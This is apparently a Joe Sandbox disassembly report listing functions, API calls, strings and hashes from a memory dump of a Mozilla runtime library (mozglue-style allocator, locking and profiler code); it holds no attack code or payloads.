Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: $me/$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-392034271
Opcode ID: 66079655f747f3dbd8e3f0259994f8d2698085a270ae355a67b6509c690d1b73
Instruction ID: 33608ac0eff2c80a2b98f6ad203b7c96e0ab188012579288d22f58e470738196
Opcode Fuzzy Hash: 66079655f747f3dbd8e3f0259994f8d2698085a270ae355a67b6509c690d1b73
Instruction Fuzzy Hash: AF118E32A04354DFCB109F15C448B59BBB8FB89729F410519F8965B650E775A814CF92

Function 6C37A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39F770,-00000001,?,6C38E330,?,6C33BDF7), ref: 6C37A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C33BDF7), ref: 6C37A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C33BDF7), ref: 6C37A7E4
LeaveCriticalSection.KERNEL32(6C39F770), ref: 6C37A80A

Strings

accelerator.dll, xrefs: 6C37A7BF

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5543f298d2720eba806f3256d948333286c1125d19ea7dc060115b1ca8f5f2be
Instruction ID: 17944ca9a2f42269489cdbee3de8ea47e2157718ae9c5ef509062b40c34f0514
Opcode Fuzzy Hash: 5543f298d2720eba806f3256d948333286c1125d19ea7dc060115b1ca8f5f2be
Instruction Fuzzy Hash: 6C017C706003049F9F049F9AE88481177B8EB89754704806AE9098B701EBB6D800CFA1

Function 6C3775B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C37748B,?), ref: 6C3775B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C3775D7
FreeLibrary.KERNEL32(?,6C37748B,?), ref: 6C3775EC

Strings

RtlNtStatusToDosError, xrefs: 6C3775D1
ntdll.dll, xrefs: 6C3775B3

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 4c8018ff31c0c8919e8653d94dfb80add89016cef253df11d4c7b0f2fef32755
Instruction ID: 4cb794fadd9db2884ff9cb6c48b7502cb8e686ed19dae002b97fe0d460930d06
Opcode Fuzzy Hash: 4c8018ff31c0c8919e8653d94dfb80add89016cef253df11d4c7b0f2fef32755
Instruction Fuzzy Hash: E5E0B675A00302ABEF11AFA2E8487017AFCEB0B398F105429F905D5600FBFB8052CF24

Function 6C377600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C377592), ref: 6C377608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C377627
FreeLibrary.KERNEL32(?,6C377592), ref: 6C37763C

Strings

ntdll.dll, xrefs: 6C377603
NtUnmapViewOfSection, xrefs: 6C377621

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: f5849016c117d0aea78ee49dee2a26f107f6da7d880b7e93a121306d98b9fc0b
Instruction ID: 2924cac432f7549a7b277fdfd6779b54f15d01ab66f7d16cf54991c382a7b6d1
Opcode Fuzzy Hash: f5849016c117d0aea78ee49dee2a26f107f6da7d880b7e93a121306d98b9fc0b
Instruction Fuzzy Hash: 72E092B4A00301ABDF11AFA6A8487457ABCE71F299F004119F905D5600F7BBC4008F28

Function 6C37BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C37BE49), ref: 6C37BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C37BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C37BE49), ref: 6C37BF38
RtlReAllocateHeap.NTDLL ref: 6C37BF83
RtlFreeHeap.NTDLL(6C37BE49,00000000), ref: 6C37BFA6

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: bf10176a7d23ed4416e9f54f82648a2cb2106379c2e6e886b72bc58571bde6b9
Instruction ID: 9f77755577b1e55db33b2b5a20458ffa23cdc1c1dffe0210276d104f8e7baf3e
Opcode Fuzzy Hash: bf10176a7d23ed4416e9f54f82648a2cb2106379c2e6e886b72bc58571bde6b9
Instruction Fuzzy Hash: 4051A171A002058FE720CF68CC80B9AB3B6FF88318F294639D555ABB54D735F9068FA4

Function 6C368E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?,6C38D734), ref: 6C368E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?,6C38D734), ref: 6C368EBF
free.MOZGLUE(?,?,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?), ref: 6C368F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?,6C38D734), ref: 6C368F46
free.MOZGLUE(?,?,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?), ref: 6C368F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?), ref: 6C368F8F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0a6c0509c984db672d071480791d7f93f6fc2bce193f16b705ab843c355a55e5
Instruction ID: 0b8df8d304b622ba68b587f719e88e07655090cc73721cc489ef2ed12f6f44c7
Opcode Fuzzy Hash: 0a6c0509c984db672d071480791d7f93f6fc2bce193f16b705ab843c355a55e5
Instruction Fuzzy Hash: CF51B6B1A012158FEB14CF54E8807AE73B6FF4A718F15052AD916ABB44E732F904CF92

Function 6C3627E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C36284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C36289A
free.MOZGLUE(?,?,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C3628F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C362910
free.MOZGLUE(00000001,?,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C36293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C36294E

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 651ed72d3900eeedc77436f87fb24c6b7fce1ffed466be8ee915094b5bba7106
Instruction ID: 68f484fdd21526560f0914932762e78b28df70b40b5d22aa0da52f35ea56f293
Opcode Fuzzy Hash: 651ed72d3900eeedc77436f87fb24c6b7fce1ffed466be8ee915094b5bba7106
Instruction Fuzzy Hash: EA41B1B1A002068FEB14CF69D98876A73FAAB85308F160539D557EBB44E733E914CF61

Function 6C31CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E784), ref: 6C31CFF6
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C31D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C31D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C31D139

Strings

MOZ_CRASH(), xrefs: 6C31D187

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 86430becbb9e9d3d3c7d262d434b77dd9bd526c87c97b20c20839f2fbec36c9f
Instruction ID: c98fc214c9f67249a0cf21e84c5763cc499e5eabd1917129f46f528cae63cc09
Opcode Fuzzy Hash: 86430becbb9e9d3d3c7d262d434b77dd9bd526c87c97b20c20839f2fbec36c9f
Instruction Fuzzy Hash: 1C419172B053164FDB59CE6D8C903AA76B8FB4A714F140139E919E7B84E7B39C008BD2

Function 6C31CDF0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C31CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C31CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C31CF4E

Strings

$me/, xrefs: 6C31CE02
0, xrefs: 6C31CF30

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memcpy$memset
String ID: $me/$0
API String ID: 438689982-1812012662
Opcode ID: e7a03ba869fa60e24ec3a0a0d5bfa209c7695d18c3a6da13d87f7ef7b8f5a436
Instruction ID: c6432fb80a64a540895f671f7b32a93d90e2d456e43fe022207453481668dbfb
Opcode Fuzzy Hash: e7a03ba869fa60e24ec3a0a0d5bfa209c7695d18c3a6da13d87f7ef7b8f5a436
Instruction Fuzzy Hash: C3511271A042168FCB04CF18D890AAABBB5EF99304F198299D8595F751D331ED06CFE0

Function 6C37A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39F770), ref: 6C37A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C37A87B

Part of subcall function 6C37A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C37A88F,00000000), ref: 6C37A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C37A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C37A90C
LeaveCriticalSection.KERNEL32(6C39F770), ref: 6C37A97E

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 78e03c7f128760a8854f633852c8f027d90771755af3b7ca5f6422ae43a1c6b6
Instruction ID: ab7aae5c28caff2085a85b71ae004e5e8b73edc3e6bb70e30bcaa565f4288186
Opcode Fuzzy Hash: 78e03c7f128760a8854f633852c8f027d90771755af3b7ca5f6422ae43a1c6b6
Instruction Fuzzy Hash: 7F41C1B4E002088BDB10DFA8D845BDEB774FF09324F108629E816AB781E375D945CFA2

Function 6C321530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C32159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C3215BC
moz_xmalloc.MOZGLUE(-00000001,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C3215E7
free.MOZGLUE(?,?,?,?,?,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C321606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C321637

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 742723df8dd4225c15bfb37312871ec57943f3a5e9adfe71ef4823923c305fe0
Instruction ID: 60370d5d79910e592d435f6341fa4b8c8c7d74c3b104b3f7e225f1d24f1f340f
Opcode Fuzzy Hash: 742723df8dd4225c15bfb37312871ec57943f3a5e9adfe71ef4823923c305fe0
Instruction Fuzzy Hash: 6A31EA729001148BCF188E78D95086E77E9BB813747340B6DE863DBBD4EB36DD158B92

Function 6C375EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C38DCA0,?,?,?,6C34E8B5,00000000), ref: 6C375F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C34E8B5,00000000), ref: 6C375F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C34E8B5,00000000), ref: 6C375F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C34E8B5,00000000), ref: 6C375F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C34E8B5,00000000), ref: 6C375FD6

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: c3a073df107f18c4889b78fdda41bfe3c3cfa0eae1e6882bb5ef0951fa4ef4b4
Instruction ID: 4938c7c18921b92d3811c6dca62fda0e35dc9448f4719068083c8301abe8c73d
Opcode Fuzzy Hash: c3a073df107f18c4889b78fdda41bfe3c3cfa0eae1e6882bb5ef0951fa4ef4b4
Instruction Fuzzy Hash: EF31E934300600CFD724CF29C898A6AB7F9BF89719B644558E5568BBA5C736EC41CB94

Function 6C31B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C31B532
moz_xmalloc.MOZGLUE(?), ref: 6C31B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C31B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C31B57E
free.MOZGLUE(00000000), ref: 6C31B58F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 82e2157a523a7982e7ab536e70368fe759cd6912a166538d7da105994e5c3a7b
Instruction ID: cb4f4f08ba2fec6743600e24d86d7cd5f8b5d03de2bbda72f629a97a05cc45a3
Opcode Fuzzy Hash: 82e2157a523a7982e7ab536e70368fe759cd6912a166538d7da105994e5c3a7b
Instruction Fuzzy Hash: 0021F6B1A042059FDB009F69DC40BAABBB9FF45308F284129E918DB741F776D911CBA1

Function 6C350D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C313DEF), ref: 6C350D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C313DEF), ref: 6C350D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C313DEF), ref: 6C350DAF

Strings

<jemalloc>, xrefs: 6C350D92, 6C350DB9
: (malloc) Error in VirtualFree(), xrefs: 6C350D97, 6C350DBE

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: d30fa503bc4c768976a13aff07a23ce57228ad5cb66706c3da950385d1f7d530
Instruction ID: 81edac79842c1668280e4ba4e3c575841eec2350293ca4ffda8b0b5f637b5fa9
Opcode Fuzzy Hash: d30fa503bc4c768976a13aff07a23ce57228ad5cb66706c3da950385d1f7d530
Instruction Fuzzy Hash: A1F0E97238429423E63025660C0AF5A26AD6BC2B6CF704035F755EE9C0FA53E4104EB5

Function 6C367620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C3675C4,?), ref: 6C36762B

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C3674D7,6C3715FC,?,?,?), ref: 6C367644
GetCurrentThreadId.KERNEL32 ref: 6C36765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C3674D7,6C3715FC,?,?,?), ref: 6C367663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C3674D7,6C3715FC,?,?,?), ref: 6C367677

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 3bb91c184b759316b23c0a92e3f7bb1b1957d9dc1e985b3f22e006964310fab8
Instruction ID: fce36bf51f9aa7bddbf968d1a23065a1ecd126274efbc33f8d092d8e5ca4da41
Opcode Fuzzy Hash: 3bb91c184b759316b23c0a92e3f7bb1b1957d9dc1e985b3f22e006964310fab8
Instruction Fuzzy Hash: 76F02271E10345ABE700CF21D888676B77CFFEA658F114316F90447601E7B1A5D08BD0

Function 6C370630 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

ReleaseSRWLockExclusive.KERNEL32(?,?,?,00000008,?,?,?,?,?,?,?,?,00000000,?,6C370533), ref: 6C3706CD
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,00000008,?,?,?,?,?,?,?,?,00000000,?,6C370533), ref: 6C3707C2

Strings

$me/, xrefs: 6C370640

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLockRelease
String ID: $me/
API String ID: 1766480654-2210144079
Opcode ID: 1ed2838eed4aba19990ca8ad04761d43c3e77dfbeb8d5d69f6f11a65789f77be
Instruction ID: 01e4da0b89883b24a8528ac36148957b414dc65fc608f6a6eb2fa51dde027b6b
Opcode Fuzzy Hash: 1ed2838eed4aba19990ca8ad04761d43c3e77dfbeb8d5d69f6f11a65789f77be
Instruction Fuzzy Hash: 8E61BB75A047419FD710DF29C480A5ABBEAFF88318F24891DE98597B40DB75EC09CFA2

Function 6C36BF10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127fileCOMMON

Download Yara Rule

APIs

fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,00000000), ref: 6C36BFDE
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C36C021
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C36C03F

Strings

$me/, xrefs: 6C36BF1C

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: fputc$fwrite
String ID: $me/
API String ID: 4291123875-2210144079
Opcode ID: b8d227142e4e6e8a247c84fcb9f5d67f574d72ddecf6d2a8799120c440a58097
Instruction ID: c3153d06e6715f6799e3fb2b1de44182f98b21545ae5ab9b518144bcfaca221d
